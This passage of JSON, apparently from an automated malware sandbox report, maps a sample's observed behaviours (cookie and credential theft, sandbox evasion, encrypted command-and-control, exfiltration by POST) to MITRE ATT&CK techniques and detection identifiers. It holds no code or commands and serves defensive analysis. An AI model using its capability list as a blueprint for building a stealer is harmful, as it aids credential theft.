and/or its information (API string)"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"suspicious","value":"Attempts to identify external IP address"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve system network configuration"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Reference to an external IP address lookup service identified"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to access web session cookie"},{"type":"informative","value":"Able to retrieve browser cookies data"},{"type":"informative","value":"Able to retrieve browser cookies using SQL"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"informative","value":"Found registry location strings which can modify auto-execute functionality"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Steals sensitive data from browsers"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Reconnaissance","technique":"Vulnerability Scanning","attack_id":"T1595.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1595/002","identifiers":[{"type":"informative","value":"Able to use vulnerability or port scanning tools"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Resource Development","technique":"Email Accounts","attack_id":"T1585.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1585/002","identifiers":[{"type":"informative","value":"Found email domains (string)"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Recently renewed or created SSL certificate"},{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Execution","technique":"Python","attack_id":"T1059.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/006","identifiers":[{"type":"informative","value":"PyInstaller file activity detected"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Execution","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Credential Access","technique":"Private Keys","attack_id":"T1552.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/004","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"informative","value":"Able to retrieve information set for devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect presence of virtual environment (API string)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"malicious","value":"Queries firmware table information (may be used to fingerprint/evade)"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"suspicious","value":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains reference to OpenSSL library string"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"One-Way Communication","attack_id":"T1102.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/003","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Non-Standard Encoding","attack_id":"T1132.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/002","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"YARA signature match – Zlib compression file detected"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Upload file using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Impact","technique":"Data Destruction","attack_id":"T1485","attack_id_wiki":"https://attack.mitre.org/techniques/T1485","identifiers":[{"type":"informative","value":"Contains ability to delete device information set (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","identifiers":[{"type":"suspicious","value":"Drops compressed file on the system"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file has unusual entropy resources"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","identifiers":[{"type":"suspicious","value":"File exhibits characteristics of junk code obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Defense Impairment","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify 